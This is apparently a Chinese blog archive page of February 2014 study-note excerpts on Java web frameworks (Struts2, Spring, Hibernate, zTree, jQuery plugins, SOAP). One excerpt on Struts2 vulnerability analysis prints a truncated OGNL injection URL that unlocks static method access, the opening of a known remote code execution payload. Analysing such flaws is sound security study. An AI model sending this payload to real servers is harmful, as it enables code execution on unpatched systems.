02 2014 档案
摘要:zTree的例子 jQuery插件的使用:树的插件使用ztree的可能很低;ztree是在TreeView基础上发展起来的,dojo,dojo比较流行;事件,动态的把树从数据库中加载出来;研究ztree的方式是从demo入手,写自己的demo;从jquery的入口开始:$(doucument).ready(function(){	zTree = $("#tree").zTree(setting,zNodes);});-----------------这里面是ztree的方法,原型上的方法;树追加到元素上,才可以使用; ZTREE DEMO ======...
        阅读全文
            
                posted @ 2014-02-28 13:11  
教程学习
    
            
        
摘要:Post的操作:岗位:持久化对象,如果要修改也是需要放在事务中,否则也不会进行更新;---用户是一对多,多对多的集合;三张表;如果是多张表,解决方案是:使用VO,BO,展示信息需要转化为界面的对象,Add的时候将对象转化一下,这样就需要比较多的转化;--另一种解决方案是将数据直接进行展示;--如果是另有一个对象进行显示,就是在转化的时候将懒加载的操作全部做完成;因为没有将数据拿出来就不能转化为这个对象;在Hibernate操作的时候,就需要有懒加载,这里是User和Post多对一 ,User和Department是多对多,就可能会引起异常;三张表的迫切左外连接,就可以出来了;OpenSessi
        阅读全文
            
                posted @ 2014-02-28 13:10  
教程学习
    
            
        
摘要:OA注解方式和配置xml文件的方式的区别:SSH结合做OA总结:注解方式:1.在applicationcontext-db.xml文件中要配置hibernateTemplate,且某个具体dao的实现类不能继承hibernateTemplate(继承之后其自身的set和get会使spring在启动的时候报错).2.在applicationcontext-db.xml文件中仍需配置sessionFactory3.需要配置使spring扫描注解过的类和类中的成员变量(这样就不用一个一个bean一个bean的配置了)4.需要配置注解形式的声明式事务处理(在这里配置过后,在想要开启事务的方法上(在se
        阅读全文
            
                posted @ 2014-02-28 13:09  
教程学习
    
            
        
摘要:s2sh的注解的配置Annotation变化最大的是spring的配置文件;就是没有对应属性的注入部分;标签命名空间:context;事务处理的部分也可以使用注解实现,将之前的配置就可以丢掉了; 1,首先,将action,service,dao所有层的所有类整到容器里面;在Dao上 @Respository("departmentDao")	在CommonDaoImpl上就不能继承HibernateDaoSupport,引入HibernateTemplate;原因是:这里HibernateDaoSupport里面已经引入SessionFactory,提供了set,get方法
        阅读全文
            
                posted @ 2014-02-28 13:08  
教程学习
    
            
        
摘要:重构增删改查:泛型重构:	Object重构和泛型重构的区别:Object需要转换,转换会有异常;public interface CommonDao{ public Collection getAllEntry(); public T getEntryById(Serializable id); public void updateEntry(T t); public void deleteEntry(Serializable id); public void saveEntry(T t);}public class CommonDa...
        阅读全文
            
                posted @ 2014-02-28 13:07  
教程学习
    
            
        
摘要:1、泛型就是java中的一种类型	2、java.lang.Type代表java语言中的所有的类型	3、泛型是ParameterizedType getActualTypeArguments() 得到参数 getRawType():得到类和接口	4、ParameterizedType Parameterized 参数化 Type一般情况下代表类和接口	5、参数的用法 1、类与类与接口之间的传递 1、 public interface Collection{ // } 2、可以有两种选择 public abstract cl...
        阅读全文
            
                posted @ 2014-02-27 18:23  
教程学习
    
            
        
摘要:Struts2漏洞分析当在浏览器输入如下地址时: http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&
        阅读全文
            
                posted @ 2014-02-27 18:13  
教程学习
    
            
        
摘要:2、介绍一下STRUTS1与STRUTS2的区别,及其优点。【英泰伟业科技(北京)有限公司】3、说说Struts2的工作机制。【民安信科技】1、谈谈你对SSH的理解以及他们是如何整合的。【民安信科技】3.谈谈你对SSH的理解以及他们是如何整合的 【国网电科院国电通集团】 6三大框架中你认为那个框架最好,为什么?【国网电科院国电通集团】 1.struts2的流程给画出来 7,Struts工作机制?为什么要使用Struts? 8,Struts2的标签
        阅读全文
            
                posted @ 2014-02-27 18:08  
教程学习
    
            
        
摘要:struts2与json的整合	1、步骤 1、导入jar包 struts2-json-plugin-2.1.8.1 该jar包的根目录有一个struts-plugin.xml文件 从该配置文件可以看出: 1、自定义了一个结果集json-default 2、有一个拦截器json 2、在struts2的配置文件中 注意: 1、结果集的类型是json 2、因为是ajax请求,所以不需要返回任何页面,所以result中间没有内容 3、在acti...
        阅读全文
            
                posted @ 2014-02-27 18:07  
教程学习
    
            
        
摘要:1、struts2是一个mvc框架,是struts1与xwork的结合体2、struts2的配置文件	1、文件类型 最常用的配置文件有 default.properties struts.i18n.encoding=UTF-8 设置默认的编码字符集 struts.multipart.maxSize=2097152	默认文件上传的大小 struts.action.extension=action 默认的扩展名 struts.devMode = false 是否是开发模式 struts.ui.theme = ...
        阅读全文
            
                posted @ 2014-02-27 18:06  
教程学习
    
            
        
摘要:1、struts2的错误处理	1、java的错误处理 如果方法有异常,两种解决方案 try 抛出异常	2、UserAction(saveUser throws Exception)--->DefaultActionInvocation(invoke)--->DefaultActionProxy(execute) ---->Dispatcher(serviceAction)	3、在serviceAction方法中: if (devMode) { catch (ConfigurationException e) { // WW-2874 Only log error i...
        阅读全文
            
                posted @ 2014-02-27 17:57  
教程学习
    
            
        
摘要:struts的错误处理:java的异常处理:两种 :抛[谁调用谁处理] try[自己处理]xwork2中: DefaultActionInvocation里面的invoke方法,是对业务处理的底层方法;里面进行try finally,也没有进行处理;那就是谁调用这个xwork的DefaultActionInvocation的invoke方法谁进行处理;struts2中:从过滤器开始看:StrutsPrepareAndExecuteFilter; doFilter方法;里面的execute.executeAction(request,response,mapping);然后进如:ExecuteO
        阅读全文
            
                posted @ 2014-02-27 17:56  
教程学习
    
            
        
摘要:save 和 update 方法的一点注意: public String add() throws Exception{ /** * struts2的模型驱动的作用两个 * 1、获取页面表单的数据 * 2、对数据进行回显 * 说明:最好不要把模型驱动的对象和dao层发生交互 */ Department department = new Department(); BeanUtils.copyProperties(this.getModel(), department); this.departmentService.saveDeparment(departm...
        阅读全文
            
                posted @ 2014-02-27 17:55  
教程学习
    
            
        
摘要:1,SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息;SOAP是基于XML的简易协议,可以使应用程序在Http之上进行信息交换;;SOAP是用于访问网络服务的协议;2,SOAP:简易对象访问协议,通信协议,用于应用程序之间通信,用于发送消息的格式;用来通过互联网通信,独立于平台,独立于语言,基于XML,可扩展,可以绕过防火墙,将被作为W3C标准;3,应用程序之间通过互联网通信很重要;之前是通过远程调用(RPC)在应用之间通信,但是Http不是为此设计的,RPC会产生兼容性问题,防火墙和代理服务器通常会阻止此类流量。通过HTTP在应用程序之间通信是更好的办法,因
        阅读全文
            
                posted @ 2014-02-27 17:54  
教程学习
    
            
        
摘要:链接,可以使用html的a标签做处理,也可以使用这里面加不加action是跟struts的版本有关系;---------------写jquery插件;1,可以加在类上	jQuery方法, $.方法 原因:如果该方法和页面上的元素没有关系,则加在类上;2,可以加载原型上	jQuery对象的方法:$("").方法 获取jQuery对象;jQuery对象调用该方法;	原因: 因为该方法和页面上的元素有关联jquery-plugin-deleteconfirm.js/** * 插件 * 可以直接加在类上 * 可以加在原型上 */(function($){	/** * 遍历当前页.
        阅读全文
            
                posted @ 2014-02-27 17:54  
教程学习
    
            
        
摘要:Spring的声明式事务处理,在框架搭建的时候已经搭建完成; classpath:hibernate/hibernate.cfg.xml 上面的意思是将所有的execution(* com.itcast.oa.service.impl.*.*(..))进行事务处理声明;Spring是对各部分进行管理操作;例如Action对Service的引用(使用哪个实现类),Service使用哪个Dao实现类,这些都是实现了面向切面编程;管理实现的类;测试Spring:SessionFactory测试:public clas...
        阅读全文
            
                posted @ 2014-02-27 17:53  
教程学习
    
            
        
摘要:系统模块数据库的搭建@override 识别需要1.6编译器搭建环境:拷贝资源:修改环境;界面是固定的样子,需要一个WEB-INF/jsp/common/common.jsp:Code: //都是在struts2中调用下面三个是所有页面都需要的文件;maven搭建开发环境练习;------表的建立首先要确定表与表之间的关联关系,同时避免设计成三角类型;岗位,部门,用户:岗位\用户 多对多用户\部门 1对多 然后---domain:User Department Post Set 映射文件:*.hbm.xml ...
        阅读全文
            
                posted @ 2014-02-27 17:51  
教程学习
    
            
        
摘要:OA办公自动化,OA最主要的是工作流,这样才可以对流程进行全面的把控; 1、对于很复杂的流程,采用一定的工作流的技术可以对每一步进行严格的把控 2、在进行流程的过程中,要产生一定的数据,把数据可以存储在数据库中 3、这些数据用于将来的BI计算OA系统计划:自己的OA系统: 1、熟练s2sh的开发 独立开发 三天之内 2、struts2与ajax 4天左右 三大框架和ajax整合开发熟练 对jQuery的插件进行二次开发 3、jbpm 优点...
        阅读全文
            
                posted @ 2014-02-27 17:50  
教程学习
    
            
        
摘要:1,eval函数:它的功能是把对应的字符串解析成JS代码并运行;比如说你现在要运行一个可变的方法	function name1(){……}	function name2(){……}	var m="name1";	eval(m+'()');//运行name1();	m='name2';	eval(m+'()');//运行name2()==========eval()函数接收一个参数s,如果s不是字符串,则直接返回s。否则执行s语句。如果s语句执行结果是一个值,则返回此值,否则返回undefined。JavaScript中的eva
        阅读全文
            
                posted @ 2014-02-08 11:53  
教程学习
    
            
        
                    
                
浙公网安备 33010602011771号